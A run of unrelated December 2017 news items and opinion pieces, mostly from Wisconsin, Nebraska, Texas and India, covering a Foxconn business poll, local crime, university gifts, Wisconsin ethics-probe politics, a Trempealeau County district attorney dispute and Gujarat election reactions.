Thirty percent of the executives who responded to a poll by Wisconsin Manufacturers & Commerce said they strongly support the $3 billion in state incentives for Foxconn, while 43 percent support it somewhat.

The Taiwanese electronics giant says it will build a $10 billion liquid-crystal display plant in southeastern Wisconsin that could eventually employ as many as 13,000 workers.

Of those polled, 15 percent said they oppose the Foxconn financial package while 10 percent were unsure.

Two percent did not respond to the question.

In addition to giving their approval, 31 of the executives added comments about the topic, but WMC declined to release the comments.

Finding workers to staff their own companies is one of the key concerns of those polled.

Four of every five executives surveyed  80 percent  said they have had a hard time finding employees, up from 70 percent a year ago.

In fact, the labor shortage or lack of qualified job candidates is the top public policy issue facing Wisconsin, the majority of executives  51 percent  said. Health care concerns ranked second, at 20 percent.

And although the job search is challenging, 61 percent said they plan to add staff in the next six months.

Business leaders are positive about the states economy  58 percent said it is strong, while 12 percent rated it as very strong.

They also support Gov. Scott Walker, with 63 percent saying they strongly approve of his actions and 27 percent approving somewhat.

Walker earned a larger vote of approval than President Donald Trump. Twenty-seven percent said they strongly approve of Trump and 45 percent said they somewhat approve.

The survey, conducted between Nov. 14 and Dec. 1, drew replies from 210 business leaders. Nearly two-thirds of them  63 percent  said their company is in the manufacturing industry.
Two Madison-area businesses are among nine Wisconsin companies honored with 2017 Marketplace Governors Awards.

Middleton Construction Consulting, Madison, is one of those named as Outstanding Businesses, while Octopi Brewing, Waunakee, received a Rising Star award.

The competition recognizes outstanding businesses owned by minorities, women and veterans disabled during their military service.

Middleton Construction was honored for its commitment to hiring and training disabled veterans, and for encouraging professional development for its employees, said Mark Maley, spokesman for the Wisconsin Economic Development Corp., which presented the awards, along with Gov. Scott Walker, at the Marketplace 2017 conference last week.

Octopi won for its rapid growth. Since the company was founded in 2014, it has expanded from five full-time employees to 20. Octopi, a contract brewery, also provides other services to its clients, such as marketing, packaging and distribution.

The other Outstanding Business awards went to: Able Access Transportation, Milwaukee; Metal-Era, Waukesha; EO Johnson Business Technologies, Wausau; Physical Therapy of Milwaukee, Milwaukee; Milestone Plumbing, Wauwatosa; and American Pride Industrial Equipment & Services, Green Bay.

Terra Translations, Wauwatosa, won the other Rising Star award.
Wasted county taxes

As reported by Trib staff writer Cassie L. Smith, the McLennan County Sheriffs Office reported spending $572,000 in overtime pay for added security during the first Twin Peaks trial. This showcase trial, which District Attorney Abel Reyna said he longed to try, ended in a mistrial. And while deputies in their new cowboy hats were most impressive, all of this security was probably overzealous and unnecessary. I am glad authorities are reassessing security needs before the next scheduled Twin Peaks trial  one of possibly more than a hundred future such trials  not to mention the many more re-trials that will surely follow.

Its important to remember this is only a portion of total expenditures involved in one trial. This appears to be a negligent expenditure of the tax revenue the citizens of our county are increasingly expected to pay to fund budgets we have little or no control over. County officials continue spending without responsibility or accountability while our property taxes become an ever-increasing burden on everyone. It looks like our county can benefit from electing more than just a new district attorney. A new sheriff and county tax assessor are also in order. I hope we dont forget when we are again in the voting booth.

Bo Chumak, Eddy

Jerusalem or bust

I have seen two news articles in your newspaper from the Associated Press regarding recognizing Jerusalem as the capital of the State of Israel. Both contained more opinion than facts.

The Jerusalem Embassy Act of 1995 was passed by Congress in 1995 with a Senate vote of 93-5 in favor and a House vote of 374-37 in favor. Thus, you have had a concurrence of senators and representatives in favor of official movement of the embassy to Jerusalem. President Trump didnt just get up one morning and decide to cause a ruckus.

Since Congress recognized they do not make foreign policy, they included in the legislation a limit on appropriation of State Department building funds to be used overseas. The limit on that and on the required date of recognition and building the embassy in Jerusalem (May 31, 1999) could be extended by the president in signing a waiver and informing Congress every six months.

Well, that was done by all presidents since that time and every six months the waiver was submitted. Many of those presidents campaigned on the fact that they would move the embassy to Jerusalem. President Obama campaigned on doing so but continued to sign the waivers every six months, never doing what he promised to do.

President Trump campaigned on doing so and actually did what he said he would do. Too bad the Associated Press couldnt inform their readers of how things actually work. Wasnt it President Obama who said words matter?

Stephen Williams, Hewitt
LINCOLN  This holiday season, First State Bank Nebraska encouraged its employees to help area food pantries by starting a food drive at all of the banks branches.

First State's initial goal was to collect 300 pounds of food amongst its 16 locations over a few weeks. That goal was quickly exceeded and the food continued to stock pile. First State issued a chal-lenge match the week of the food drive and ended up with more than 650 pounds of food.

The food was split between the Wilber, Yutan, Beatrice and Lincoln area food banks. Employees from those branches delivered the food to the local food banks.

It's important to remember to be thankful for the blessings that we are given, especially during the holiday season. Recent statistics, shared by an area food bank, indicate that over 19,000 children under the age of 18 living in southeast Nebraska do not have reliable access to food. There are needs right here in our communities that we as a bank can help address, said Jerry Lentfer, president and CEO.
ALVO  Dave Morgan used to watch Santas flight across the United States while he was in the Air Force, and he worked with the media to let children know just where the bearded man was.

These days, thanks to the Internet, children and their families can sit in front of their computers and watch his flight on a website called NORAD.

I was station at McChord Air Base as a single intercept director and weapons director from 1971 to 1974, Morgan said. And since I was a bachelor at that time, I volunteered to work Christmas Eve so married servicemen could be with their families.

One of his duties on Christmas Eve was to keep track of Santas flight from the North Pole.

People didnt have the Internet then so my team kept track of his flight, did telephone interviews and if they got clearance, local TV anchors would be allowed in operations to report on Santas progress, he said. It was always a fun evening.

NORAD has tracked Santa since 1955, but homes didnt have computers back then.

These days everyone has a computer and its easy to look at the NORAD website and watch his flight. In fact I encourage everyone to do it, he added.

That website gets a tremendous number of hits on Christmas Eve he pointed out.

Kids love it and its the way to go these days, Morgan said. But I enjoyed working Christmas Eve and watching his flight and visiting with people. I wouldnt have changed the experience for anything.

The NORAD site has grown over the years. Not only does it count down the days until Christmas, but plays Christmas music and has different links to it that tell things such as Santas secret mission, as well as games and holiday traditions. The site always tells how cold it is at the North Pole.

It has gotten more popular over the years, Morgan said. And its a good way to keep track of Santas flight.

The tradition began in 1955, after a Colorado Springs-based Sears Roebuck and Co. advertisement misprinted the telephone number for children to call Santa. Instead of reaching Santa, the phone number put children through to the CONAD Commander-in-Chief's operations "hotline." The director of operations at the time, Col. Harry Shoup, had his staff check the radar for indications of Santa making his way south from the North Pole. Children who called were given updates on his location and a tradition was born.

In 1958, the governments of Canada and the United States created a bi-national air defense command for North America called the North American Aerospace Defense Command, also known as NORAD, which then took on the tradition of tracking Santa.

To watch Santas flight, click onto www.noradsanta.org. His location will be available starting Christmas Eve day.
A Madison man looking on Craigslist for his stolen $6,000 racing bicycle saw the bike for sale, contacted police and got his bike back and the alleged thief arrested.

Michael Lowe, 31, of Madison, was arrested Monday and tentatively charged with felony theft and bail jumping, Madison police said.

The 42-year-old victim was able to identify the bike in the photo on Craigslist, because there was a sticker on the frame with his name on it.

The Trek Domane Series bicycle was stolen from the victim's home in the 800 block of Twin Pines Drive in August.

"A detective determined the thief sold the bike to a pawn shop, and the pawn shop sold it to the man who posted it for sale on Craigslist," said police spokesman Joel DeSpain. "The secondary seller didn't know the bike was stolen."

Pawn records showed who sold the bike to the shop, and the suspect was identified and arrested.
LINCOLN  More than 160 schools and school districts from across the state are being honored by Secretary of State John Gale for hosting programs, large and small, for military veterans in their communities.

Schools being recognized include Waverly Middle School, Raymond Central High School, and Waverly Middle School. Each school has been mailed a certificate of recognition for programs held on or around Veterans Day.

It really is heartwarming to see the efforts that teachers, staff and students put into these events, noted Gale. Some schools open their doors to nearby communities as well as their own, so that everyone can enjoy them. Other schools incorporate flag folding demonstrations, essay contests and presentations of gifts to veterans in attendance.

Gale said he often hears from teachers about the appreciation and emotion expressed through these programs. They are very much about acknowledging the sacrifices of those who have served our nation, especially in combat.

Gale has been sending certificates to schools since 2008, when a program at a middle school in Grand Island caught his attention. This year, many schools reported using the 100th anniversary of the signing of the armistice, to teach their students about World War I.

Unfortunately, there is no shortage of circumstances in which military intervention has been necessary to secure the freedoms of our country. That is still true today. My hope is that our family members, friends, and neighbors who have served, and will be serving, will continue to be a source of inspiration for generations to come.
UW-Madison could receive another $20 million for student scholarships and faculty support thanks to mega-donors John and Tashia Morgridge.

The money would be used for student scholarships and to retain faculty members or help fund their research, said Alisa Robertson, senior vice president and chief advancement officer of the Wisconsin Foundation and Alumni Association. The Morgridges will match donations up to $10 million in two categories.

The donation will help maintain (UW-Madison) as a premier teaching and research organization, John Morgridge said in an interview Monday.

Details of the donation were finalized last week, Robertson said.

The gift is the latest from the Morgridges, 1955 graduates of the university. It follows a $100 million donation they gave in 2015.

That donation  and resulting matches  led to $250 million being raised to establish about 155 endowed faculty positions, according to UW-Madison.

Under the new grant announced Monday, up to $10 million will be used to match donations for student scholarships and up to another $10 million will be used to match donations for faculty member support, Robertson said.

Scholarships would be awarded to undergraduates based on financial need, Robertson said.

Donations for faculty members could result in more competitive salaries, additional money to hire research or teaching assistants, or to fund more research.

If additional donors give $10 million in each category, UW-Madison could net $40 million total for those initiatives.

The Morgridges have been prolific givers to UW-Madison over the years, though its unclear exactly how much theyve donated to the university.

John Morgridge is a former chairman, president and CEO of networking and telecommunication equipment manufacturer Cisco Systems. Tashia Morgridge is a retired special education teacher.

John Morgridge said he hopes the latest donation leads to more research at UW-Madison and more lower-income students attending the university.

Weve economically been very successful and feel an obligation to repay the institutions that helped shape us, Morgridge said. We think its important that kids get a good education, not just to get a good job, but to become well informed.

While they give to other organizations and causes, he said they think its especially important to donate to higher education institutions like UW-Madison as federal and state money has dwindled.

Both Morgridges are Wisconsin natives and currently live in California.

The two have also donated nearly $200 million to create an endowment to give grants to low-income students attending Wisconsins public colleges and universities.

The Morgridges also support the university in other ways, including a program that helps students from developing countries attend UW-Madison, a center that supports students entering public service careers, and a nonprofit biomedical research institute.

Robertson said the Morgridges have been the universitys biggest donors to date. Their positive impact on this university will extend for generations to come, said UW-Madison Chancellor Rebecca Blank.
Is 2018 the year to invest in emerging markets?

This was a question that came to mind a few weeks ago when I travelled to Hyderabad, India for the Global Entrepreneurship Summit (GES), which big global names including the United States' first daughter, Ivanka Trump, attended.

I was part of a group of journalists from 18 countries around the world who met with global entrepreneurs as well as the people investing in them.

One of the groups we met with was the Overseas Private Investment Corporation (OPIC) - a US government agency that helps American businesses invest in emerging markets.

OPIC representatives had attended the GES in India, where it has a number of projects supporting lending to female entrepreneurs and small businesses.
Police have renewed their call for help in the strange case of missing Perth woman Carole Livesey.

It's been close to three months since Ms Livesey was last seen in public, at the Salvation Army office on Read Street in Cooloongup on October 3.

If you see Carole Livesey please call police on 131 444.

She had left Rockingham Hospital earlier that day.

In the days after her disappearance, police urged Mandurah residents to check their yards for any sign of the Coodanup woman.
Bangkok: The United Nations human rights chief has raised the possibility of Myanmar's civilian leader Aung San Suu Kyi being charged over atrocities against Rohingya Muslims.

Zeid Raad al-Hussein said whether genocide has been committed would need to be decided by an international court but judges could consider the "crime of omission".

Rohingya omen and children queue at a Red Cross distribution point in Burma Para refugee camp in Bangladesh. Credit:Kate Geraghty

"That if it came to your knowledge that this was being committed, and you did nothing to stop it, then you could be culpable as well for that," Prince Zeid told the BBC, referring to the Nobel laureate who was swept into power in 2015.

Suu Kyi has been widely condemned for her government's failure to protect 1.1 million Rohingya while refusing to acknowledge that any atrocities have been carried out by her country's military.
Senate Majority Leader Scott Fitzgerald called Tuesday for the state Department of Justice to expand its investigation of leaked documents from a now-shuttered investigation into Gov. Scott Walkers recall campaign to include the activities of the former Government Accountability Board.

In a letter to Attorney General Brad Schimel, Fitzgerald, R-Juneau, wrote there is enough evidence that GAB staff were acting incompetently at best, and criminally at worst, in the years surrounding the recall elections of 2011 and 2012.

It is of the utmost importance that we ascertain exactly what the GAB board, leadership, and staff were doing, and when, and what their motivations were, Fitzgerald said. The victims of the John Doe as well as the voting public need clarity and finality with this issue before confidence in our elections and ethics oversight processes can be fully restored.

Fitzgeralds request must first be approved by the Legislatures Committee on Senate Organization. Schimel spokesman Johnny Koremenos said if the committee authorizes DOJ to investigate the GAB, we will do so with the utmost integrity and professionalism.

Assembly Democratic Leader Gordon Hintz of Oshkosh dismissed Fitzgeralds call to expand the investigation as an attempt at revisionist history, maybe political payback.

Hintz said his biggest concern stemming from Schimels recent report on the leak investigation is Fitzgerald and Assembly Speaker Robin Vos, R-Rochester, citing it to seek the resignations of the administrators of the states Elections and Ethics commissions, Michael Haas and Brian Bell.

Ousting those officials 10 months before a major election, Hintz said, could compromise the elections integrity.

Vos and Fitzgerald are going to try to undermine the unanimously selected (administrators) and probably try to replace them with partisan hacks more interested in shaping the outcome of the 2018 election than they are effectively carrying out the law, Hintz said.

Meanwhile Tuesday, a state senator running for U.S. Senate said someone should go to jail for an ethics investigation by the GAB that involved the review of her private emails and resulted in no charges.

Sen. Leah Vukmir, R-Brookfield, said many people should be held accountable for her emails being obtained by Milwaukee County investigators and passed on to the GABs ethics investigators, including former GAB executive director Kevin Kennedy and Milwaukee County District Attorney John Chisholm, a Democrat.

I believe some of the things that were done, people should go to jail for this, Vukmir said Tuesday at a Wispolitics.com luncheon.

But Vukmir demurred about whether retired Judge Neal Nettesheim, who oversaw and approved warrants in the Milwaukee County investigation, or Schimel, who first revealed two weeks ago that Vukmir had been investigated, should be held accountable. Regarding those two, she told reporters shes looking at all of her legal options and was really not at liberty to talk about it.

Vukmir said her anger has been directed primarily at the GAB because her private emails with her daughter, some containing medical information, were found in the locked basement storage area of the Ethics Commission office building in an electronic folder marked opposition research, a term that refers to dirt collected on political opponents.

Thats not careless, thats showing intent, Vukmir said. Personal emails between my daughter and me. Thats just beyond the pale. Its wrong.

Kennedy declined to comment. Chisholm did not respond to a request for comment. John Doe and ethics investigators are prohibited by state law from discussing their investigations.

Vukmir also backed the call to oust Haas and Bell, and she agreed that nine individuals recommended by Schimel for contempt-of-court proceedings should be held accountable. She didnt rule out a civil lawsuit could be filed.

Im not going to leave any stone left unturned, Vukmir said. Government should not be overreaching into our lives.

The Wisconsin State Journal reported Sunday that Schimel was the first to reveal that Vukmir had been investigated by the states former ethics agency as part of a previously unknown ethics investigation into whether Republican state employees were campaigning on taxpayer-funded time.

A judge who authorized the release of Schimels report said Monday that he shouldnt have done so because state law requires that subjects of state investigations that dont result in charges should have their confidentiality maintained. He said Schimel never raised that issue in asking for the report to be released.

The ethics investigation was authorized by the GABs six-member panel of retired judges in December 2011 and closed in March 2013 with no charges recommended. The emails were obtained by warrant as part of the John Doe I investigation into Gov. Scott Walkers Milwaukee County office  which investigators sought to expand 18 times based on evidence collected.

Schimel issued a report two weeks ago that identified Vukmir as one of 35 people who had their private emails obtained as part of that investigation and a follow-up John Doe II investigation into Walkers campaign coordinating with an independent group during the 2011 and 2012 recall campaigns. The Milwaukee County District Attorneys Office forwarded those emails to the GAB.
WASHINGTON  The most important poll number to come out last week had nothing to do with defeated Alabama Senate candidate Roy Moore. It had to do with Fox News and Donald Trump. Well get to the numbers in a minute.

First: some disclosure. Im a Fox contributor and a Trump skeptic (aka a former Never Trumper). That makes this an awkward column to write, for reasons that should be fairly obvious.

Regardless, I dont think I am revealing any state or corporate secrets that Fox is the presidents favorite news network. He says as much all the time. According to CBS Mark Knoller, as of last October, President Trump gave more than three times as many interviews (18) to Fox and Fox Business as he has to NBC, ABC and CBS combined (5). Hes given two to religious networks and zero to CNN.

Some Fox defenders would say this is understandable because the other networks are so hostile toward the president. They certainly have a point.

Fox critics would say Trump favors Fox because the network is exceedingly friendly to the president. Some even call it Trumps state TV.

The critics have a point, too, though an important distinction needs to be made.

Most of the presidents interviews havent been with the news side  which usually does a very good job of covering the news honestly and fairly  but with the opinion side. Sean Hannity, probably Trumps favorite host and, reportedly, an informal Trump adviser, explained in April 2016, If Im interviewing Hillary Clinton, its gonna be a hundred times harder than any Republican, because I believe the Republicans ... have a far better vision, one that I agree with. ... Im not a journalist, Im a talk show host. (Hannity recently revised this, telling the New York Times hes an advocacy journalist.)

Many other cable hosts pretend they are dispassionate journalists when any reasonable viewer can see they are ideological and political partisans. MSNBC host Rachel Maddow touts her show as covering the news without fear or favor. I dont know about the fear part, but any remotely objective viewer would see an awful lot of favor  to Democrats, liberals, Trump critics, etc.

Still, the same objective viewer simply must concede that Fox, particularly Fox and Friends (which Trump watches to the point where many in Washington now call the program the presidents daily briefing) and the primetime line-up  with Hannity at the forefront  is objectively and intensely pro-Trump.

The news side is a different animal (which is probably why President Trump wont sit down with news anchors Bret Baier or Chris Wallace). But even here its fair to say Fox doesnt follow the path forged by other news organizations, which often appear so determined to hurt Trump that they fall for bogus stories which my National Review colleague Rich Lowry calls, too anti-Trump to check. Whether that makes them biased toward Trump is ultimately in the eye of the beholder. That Hannity & Co. bend over backward to cast Trump in as favorable a light as possible really isnt up for debate.

But theres a difference between favorable and helpful. Much of the opinion stuff essentially involves mirroring Trumps Twitter feed, attacking Trump critics and railing about the rigged system, fake news and the deep state. Its so much muchness, as the British say.

The focus on the reality show drama and cult-of-personality stuff is distracting from the more straightforward, if more boring, case for the White House. That may not be evident in the ratings, but it is in the polls. Trump has been hemorrhaging support among key demographics for months, despite a much improving economy, victory over ISIS and mostly excellent judicial appointments.

Which brings me to those poll numbers. Suffolk University and USA Today released a poll last week that found that among people who trust Fox News the most, the presidents approval rating has been sinking. His favorability among Fox devotees in June was 90 percent. In October, it was 74 percent. Last week? Fifty-eight percent. If that trend continues, he will be underwater with the Fox audience long before the 2018 midterms.

You can cry fake polls, as Trump often does. But was the same poll fake in June? Or are the same trends that led to Trumps historically abysmal approval ratings now reaching even the Fox faithful?

From Virginia to Oklahoma to Alabama, establishment and anti-establishment GOP candidates alike have lost in large part because Democrats, independents and a significant number of Republicans disapprove of Trump more than they approve of him. His pander-to-the-base approach still does wonders for Hannity and Co.s ratings, but ratings arent votes.
Kentucky will try to keep top-ranked Georgia from a perfect SEC finish
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By West Kentucky Star Staff

Dec. 18, 2017 | PADUCAH, KY

By West Kentucky Star Staff Dec. 18, 2017 | 04:56 PM | PADUCAH, KY

Police are looking for three people accused of stealing thousands of dollars worth of items from both Paducah Walmart stores.



The Paducah Police Department says employees told officers people went through a check-out line on two different occasions and purchased merchandise and prepaid debit cards. Police said the customers distracted the cashier while another customer closed the sale on the cash register. The suspects then left the store without paying.



The suspects at the Walmart on Irvin Cobb Drive were described as two black males, one wearing a blue jacket, jeans and a blue cap, the other wearing a tan jacket, jeans and a blue hat. The man in the tan jacket was also seen at the Hinkleville Road location, along with a black female with long hair, wearing a bright pink jacket and jeans.



Police say the stolen items are valued at more than $4,400. They suspect the same people of doing the same thing at Wal-Mart stores in Murray and Central City.



Anyone with information is asked to call the Paducah Police Department at 270-444-8550 or Crime Stoppers at 270-443-TELL.
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STOLEN SHOTGUN LEADS TO FELONY ARREST AT TRAFFIC STOP

REPORTEDLY ATTEMPTING TO SELL A STOLEN SHOTGUN

Shortly after midnight, on December 18, 2017, Henderson County deputies stopped a vehicle near the intersection of Somerset Drive and Kingsbury Road.

During the course of the investigation, deputies discovered one of the occupants of the vehicle was attempting to sell a shotgun which had been reported stolen out of Buncombe County.

Deputies arrested Gregory Allen Sanders, age 39 of Hendersonville, and charged him with felony Possession of a Stolen Firearm and felony Possession of a Firearm by a Felo

Sanders remains in the Henderson County Jail under a $16,000.00 secured bond.
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By India Today Web Desk: President of SRM University, Dr P. Sathyanarayanan, today announced the setting up of School of Liberal Arts and Basic Sciences (SLABS) at its University in Amaravati in the presence of the Honorary Pro Chancellor of SRM University, AP-Amaravati, Professor Nicholas Dirks (Chancellor Emeritus, University of California, Berkley), and Dr D Narayana Rao, Pro Vice Chancellor of SRM University, AP-Amaravati.

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About SLABS:

SLABS will be SRM Amaravati's home for fundamental research, where free, open, and critical inquiry is pursued across disciplines, finding answers and solutions to world's most challenging problems and daunting issues.

It will have its first intake of students in 2018 and will offer BA, BBA, BCom and BSc programmes across 12 departments - economics, English, history, journalism, psychology, business studies, commerce, physics, chemistry, mathematics, biology and computer science.

Here's what University's officials have to say:

Dr P Sathyanarayanan, President SRM Amaravati said:

"Today, we face increasingly complex issues and challenges, and tackling these, calls for multi-dimensional thought processes and problem solving skills. Education needs to focus on this and much more. We aim to help students develop such skills through the liberal arts and basic sciences education offered at SRM SLABS. For this, we are looking at hands-on guidance from Prof Nicholas Dirks, given his background as a renowned anthropologist, and his rich experience in Liberal Arts.

SRM SLABS also has a strong faculty base of international caliber who will bring a global perspective to liberal arts education. They will assist in creating a holistic approach to education, which will become, we hope, the calling card for SRM Amaravati's SLABS."

Prof Nicholas Dirks, Honorary Pro Chancellor, SRM Amaravati said:

"I am very pleased to be involved with SRM Amaravati as it establishes its School of Liberal Arts and Basic Sciences. As we launch SLABS, we are working to ensure that our undergraduate students will be the full beneficiaries of the best set of undergraduate experiences available anywhere, in the larger context of building a leading research university with aspirations to become world-class in every possible sense.

In our programme, students will learn the skills of critical thinking and knowledge creation in a range of fields in the humanities, social sciences, and sciences. They will have an innovative multi-disciplinary education, in close proximity as well to breaking new teaching and research in areas ranging from machine learning and data science to public policy and social analysis."

Dr D Narayana Rao, Pro Vice Chancellor, SRM Amaravati said:

"SRM is committed to offering a distinctive form of learning empowering young students and thinkers with historical and cultural perspectives, as well as language, critical thinking, and communication skills- ideal traits to survive the modern world. The multi-disciplinary focus of SLABS will ensure that the students would have both breadth as well depth of knowledge about a wide range of subjects."

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In-class discussions, field trips, presentations, movies and hands-on assignments are some of the ways in which students are exposed to multiple facets of an issue and encouraged to explore. This multidisciplinary approach of a liberal arts programme and the interactive manner in which classes are conducted will develop in students a spirit of inquiry, analytical capabilities as well as verbal and written communication skills, thereby making them work-place ready.

About SRM University, AP-Amaravati

SRM University, AP-Amaravati, is envisaged to be a multi-disciplinary institution starting off with programs in engineering, followed by liberal arts and later on in fields of management, law, medical sciences, and pure sciences. SRM envisions to emerge as a world-class university in creating and disseminating knowledge and providing students a unique learning experience in their chosen field of scholarship that would best serve the society. The focus is on developing into an inter-disciplinary institution combining academic rigour, excitement of discovery, creativity and entrepreneurship that delivers cutting-edge research based education, creating new knowledge and innovations.

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Spread across a sprawling 200 acre campus, it will be globally connected whilst being regionally transformative. SRM is partnering with the world's best names for educational method and philosophy, campus design and infrastructure, learning and living spaces, and recruitment of faculty and leadership.The School of Engineering and Applied Sciences is already functional with the first batch of engineering students having commenced their courses in August 2017. For more information, please visit: www.srmap.edu.in

Read: JKPSC declared KAS 2014 results, Anjum Bashir Khan tops exam

Read: State government's regulation draft leaks online, coaching class owners irked

For more updates, follow India Today Education or you can write to us at education.intoday@gmail.com

--- ENDS ---
By PTI: (Eds: Combining related stories)

Jammu/Bengaluru, Dec 19 (PTI) Jammu and Kashmir Chief Minister Mehbooba Mufti today demanded strict action against those who allegedly assaulted a Kashmiri student and his brother in Bengaluru last week for not speaking in Kannada, a Dravidian language spoken mainly in the state of Karnataka.

According to media reports, a 24-year-old hotel management student from Kashmir and his elder brother were reportedly beaten up and their vehicle damaged by a group of men near a bus stop in north Bengalurus Sanjay Nagar locality.

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The incident happened on the night of December 11, but came to light only yesterday, police said today.

"Very disturbed by the news of 2 brothers from Kashmir being assaulted in Bengaluru. I would urge the authorities to take strict action against the accused," Mufti posted on Twitter today.

Two persons -- Mahesh and Harish -- have been arrested based on the CCTV footage installed near the bus stop. Both are now out on bail, said Chetan SinghARathore, deputy commissioner of police (Bengaluru North).

Mahesh is a fashion designer while Harish a driver, the police said.

A friend of the victims, requesting anonymity, said the student, studying in a college here, and his brother were returning home in the early hours of December 11, when one of them stopped the car to answer a phone call.

Around that time, two motorcycle-borne youths reached there and asked them something in Kannada.

The student told them that he did not know Kannada, following which the youth insisted that they speak in Kannada,

"WhenAhe and his brother objected, the youth called a few more people and started hitting them with stones. They even damaged their car," said the friend.

The two suffered injuries and were treated at a nearby hospital. PTI TAS AB HMB MIN GMS SRY

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Winona State University recently announced the appointment of Jonathan Locust Jr. as associate vice president for Inclusion and Diversity and chief diversity officer. Locust will join the university in January 2018.

Locust will provide innovative leadership and partnership at all levels of the university to promote and evaluate progress and the impact of efforts to make excellence inclusive and welcoming throughout all aspects of the comprehensive regional state university community.

According to Denise McDowell, vice president for Enrollment Management and Student Life, Locust has expertise in development and implementation of institutional diversity plans and will work to engage and support the university community on issues related to diversity, equity and inclusion.

Locust currently serves as Deputy Title IX coordinator and director of Institutional Diversity at Ashland University in Ohio. He has a Ph.D. in education theory foundations from the University of Toledo, a masters degree in higher education from Kaplan University, and a bachelors degree in communications from University of Cincinnati. He recently received the National Role Model Award from Minority Access, a nonprofit organization with the mission of assisting institutions to recruit and retain underserved and underrepresented populations.

Locust looks forward to working collaboratively with the WSU community of learners.

Through a framework of inclusive excellence, we will measure our success, Locust said. I want to thank Winona State University for this exciting opportunity.
Question: I was told that motorists have to yield to a city bus when it enters the road from a bus stop, is this true?

Answer: There is a state law that says that a driver of a vehicle traveling in the right-hand lane of traffic shall yield the right-of-way to any transit bus attempting to enter that lane from a bus stop or shoulder, as indicated by a flashing left turn signal.

Always be extra cautious when passing or near any type of bus and be prepared to change lanes, if there is more than one lane in the same direction, or yield as needed.

Keep in mind, bus drivers have a very important job in transporting people of all ages, and they are operating a very large vehicle, in high volume traffic areas with very little room to maneuver.

We all have a responsibility to drive safely so all of us can make it to our destination safely.
The Trempealeau County Board wants Gov. Scott Walker to suspend and initiate an investigation of District Attorney Taavi McMahon, who the board contends committed a felony while in office.

McMahon on Oct. 2 submitted a request to Trempealeau County Circuit Court Judge Rian Radtke requesting a special prosecutor because he was unable to attend to duties due to a mental health issue or has a mental incapacity that impairs ability to perform duties.

In the request, McMahon stated that he had submitted an affidavit to the state Department of Administration attesting his condition exists, according to the document.

We have been able to confirm, from DA McMahon himself, that DA McMahon never submitted the affidavit to the DOA as he represented to Judge Radtke, according to the boards Dec. 14 letter to the governor that was released Tuesday.

On Oct. 10, the DOA asked McMahon to complete and return the affidavit, according to e-mails released by the department under the states open record law. McMahon rescinded his request for appointment of a special prosecutor the same day, citing his clean bill of health.

State law makes it a felony to knowingly give false information to a court official with the intent to influence.

We believe that DA McMahon violated this statute when he knowingly gave false information to Judge Radtke with the intent to influence Judge Radtke in the performance of his official functions (i.e. the appointment of a special prosecutor), the letter stated.

Radtke signed the order, which was filed with the clerk of court. A special prosecutor did not act pursuant to the order because the DOA did not agree to fund the appointment because McMahon did not submit the affidavit.

McMahon on Tuesday said he does not believe he told the judge he submitted the affidavit.

Its a ridiculous assertion that Ive committed a crime, he said.

State statute allows the governor to suspend a district attorney during an investigation to determine if a felony was committed. Walkers office has not yet decided how it will proceed, spokesman Tom Evenson said.

The county board also believes McMahon violated the state Supreme Courts attorney ethics code by lying to the judge.

The board believes that this action by DA McMahon demonstrates a willful disregard for the very laws that DA McMahon has sworn to uphold, the letter stated, which also said McMahon has damaged the integrity of his office, which could make crime victims reluctant to come forward.

Assistant District Attorney John Sacia has filed virtually all cases in the past several months because McMahon is largely absent from the office, according to the boards letter.

After the Tribune requested from McMahon the volume of cases he declined to prosecute, McMahon in a computer system assigned Sacias cases to himself in an effort to show that he is adequately discharging the duties of the district attorneys office, the letter stated.

Its not true, McMahon said.

As of late November, Sacia was prosecuting 70 percent of the countys 166 felony cases and 61 percent of the misdemeanor cases, according to a Tribune review of court records.

During the process of switching the cases over to himself, DA McMahon sent ADA Sacia to work in the Monroe County District Attorneys office for two weeks despite no official request from the Monroe County District Attorneys Office for assistance, according to the letter.

The district attorneys office declined to prosecute 41 percent of criminal cases from law enforcement in 2015, 34 percent in 2016 and 26 percent this year through Nov. 22, according to a report provided to the Tribune by McMahon.

Law enforcement leaders say his office declines to prosecute too many cases, often without notification or explanation.

Were not throwing stuff to them for the fun of it, Arcadia Police Chief Diana Anderson said. Victims are calling and asking questions. Officers are frustrated. It sends a message to the community that offenders can get away with things.

McMahons behavior leaves law enforcement unable to deter crime and left to deal with the same offenders, Osseo Police Chief Bill Prudlick said.

We take pride in the work we do. I know officers who are extremely meticulous, and to get cases kicked back with no prosecution, its tough, he said. Hes taking the teeth out of our bite.

In his five-year tenure, McMahon said he has maintained an open door policy with police.

I communicate with law enforcement daily, he said. Ive not had anyone from law enforcement come to me and say they lost faith in me.

Board Chair Dick Miller on behalf of the entire board in a Dec. 5 letter to McMahon asked him to resign by the next day, citing his unwillingness to resolve personnel issues in his office, the board having lost confidence in his abilities to act as district attorney, and the disruption you are causing to the county and other county departments.

McMahon refused.

Mr. Miller has no authority to ask for my resignation, the people of Trempealeau County elected me to represent them in all criminal proceedings, and that is exactly what I will continue to do with the assistance of my dedicated staff, McMahon wrote in a statement released on Tuesday.

McMahon in September suspended an employee who refused to attend the funeral of then-Jackson County District Attorney Gerald Fox. She has not returned to the office.

It is troubling that the county has decided to pay an employee to do nothing for the past three months while our office remains understaffed, McMahon stated. This is a waste of taxpayer money and the county is abrogating its responsibility to the hard working people of Trempealeau County.

Another Trempealeau County committee raised concerns about McMahons job performance in a letter to the governor in early October.

The countys Executive and Finance Committee asked for assistance and guidance after McMahon shuttered his office for the funeral and suspended the employee who refused to attend, was rarely in the office and was suspected of using county funds to buy a laptop for personal use, according to the letter.

We believe that he is derelict in his duties, the letter said.

In a response letter to that committee, McMahon wrote that he is prohibited from discussing personnel issues and maintained the computer is used for state business.

The governors staff in October encouraged the county committee to discuss the issues with the countys attorney.
By India Today Web Desk: A day after the Bharatiya Janata Party (BJP) recaptured its bastion Gujarat for the sixth time, the three unfazed Young Turks who had posed a formidable challenge with the Congress' help to the saffron party came out with guns blazing suggesting that Prime Minister Narendra Modi quit politics.

In an exclusive interview with India Today, Patidar Anamat Andolan Samiti leader Hardik Patel, and the two new Gujarat MLAs Dalit stalwart Jignesh Mevani and Thakor community leader Alpesh Thakor stuck to their guns of reservation, development, rights for farmers and jobs.

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On Modi's remark that the three musketeers are trying to polarise society on basis of caste, Mevani hit back, "Modi is old and delivers the same boring speeches with no content. He should take a nap and retire. We have countered him on development, not caste. When we three talk about employment for the 2 crore jobless youth, we don't mention Dalits or Patels."

MODI IS BORING: MEVANI

